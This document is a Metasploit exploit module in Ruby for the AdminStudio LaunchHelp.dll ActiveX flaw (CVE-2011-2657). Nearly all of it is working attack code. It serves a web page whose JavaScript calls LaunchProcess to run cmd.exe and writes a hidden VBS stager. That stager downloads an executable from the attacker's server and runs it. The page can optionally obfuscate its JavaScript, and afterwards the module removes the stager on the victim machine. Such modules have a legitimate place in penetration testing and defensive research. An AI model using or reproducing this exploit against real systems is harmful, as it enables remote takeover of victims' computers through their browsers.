AdminStudio - LaunchHelp.dll ActiveX Arbitrary Code Execution



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution',
            'Description'    => %q{
                    This module exploits a vulnerability in AdminStudio LaunchHelp.dll ActiveX control. The
                LaunchProcess function found in LaunchHelp.HelpLauncher.1 allows remote attackers to run
                arbitrary commands on the victim machine. This module has been successfully tested with the
                ActiveX installed with AdminStudio 9.5, which also comes with Novell ZENworks Configuration
                Management 10 SP2, on IE 6 and IE 8 over Windows XP SP 3.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                    [
                        'rgod', # Vulnerability discovery
                        'juan' # Metasploit module
                    ],
            'References'     =>
                [
                    [ 'CVE', '2011-2657' ],
                    [ 'OSVDB', '76700'],
                    [ 'BID', '50274' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-318/' ],
                    [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7009570&sliceId=1' ],
                ],
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => "\x00",
                },
            'DefaultOptions' =>
                {
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # LaunchHelp.dll 9.5.0.0
                    [ 'Windows Universal',  {} ],
                ],
            'DisclosureDate' => 'Oct 19 2011',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('WINDOWSTEMP', [ true, "The Windows temporal folder.", "C:/Windows/Temp" ]),
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
            ], self.class)
    end

    def on_new_session(client)
        if client.type != "meterpreter"
            print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
            print_error("The vbs stager and exe payload must be removed manually.")
            return
        end

        # stdapi must be loaded before we can use fs.file
        client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

        begin
            print_status("Deleting the vbs payload \"#{@stager_name}\" ...")
            client.fs.file.rm("#{@temp_folder}/#{@stager_name}")
            print_good("The vbs stager has been deleted successfully")
            print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually")
        rescue ::Exception => e
            print_error("Problems while the clenaup")
            print_status("The vbs stager #{@temp_folder}/#{@stager_name} must be removed manually")
            print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually")
            print_error("Exception: #{e.inspect}")
            return
        end
    end

    # Stager wrote by sinn3r to avoid problems when echoing the vbs cmdstager too many times.
    # See "real_arcade_installerdlg.rb" for more information.
    def build_vbs(url)
        name_xmlhttp = rand_text_alpha(2)
        name_adodb = rand_text_alpha(2)

        tmp = "#{@temp_folder}/#{@stager_name}"

        vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
        vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"
        vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
        vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
        vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
        vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
        vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"
        return vbs
    end

    def exploit
        @payload_name = rand_text_alpha(4)
        @temp_folder = datastore['WINDOWSTEMP']
        @stager_name = rand_text_alpha(6) + ".vbs"
        super
    end

    def on_request_uri(cli, request)

        agent = request.headers['User-Agent']

        # Avoid the attack if the victim doesn't have the same setup we're targeting
        if not agent =~ /MSIE/
            print_error("Browser not supported: #{agent}")
            send_not_found(cli)
            return
        end

        if request.uri =~ /\.exe/
            print_status("Sending payload EXE")
            return if ((p=regenerate_payload(cli)) == nil)
            data = generate_payload_exe( {:code=>p.encoded} )
            send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
            return
        end

        # Payload's URL
        payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
        payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"

        # Create the stager (download + execute payload)
        stager = build_vbs(payload_src)

        js = <<-JS
        var actvx = new ActiveXObject('LaunchHelp.HelpLauncher.1');
        actvx.LaunchProcess("cmd.exe", '/c #{stager}');
        actvx.LaunchProcess("cmd.exe", "/c start #{@temp_folder}/#{@stager_name}");
        JS

        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end

        html = <<-EOS
        <html>
        <body>
        <script>
        #{js}
        </script>
        </body>
        </html>
        EOS

        # Remove extra tabs
        html = html.gsub(/^\t\t/, "")

        print_status("Sending #{self.name}")
        send_response(cli, html, { 'Content-Type' => 'text/html' })
    end
end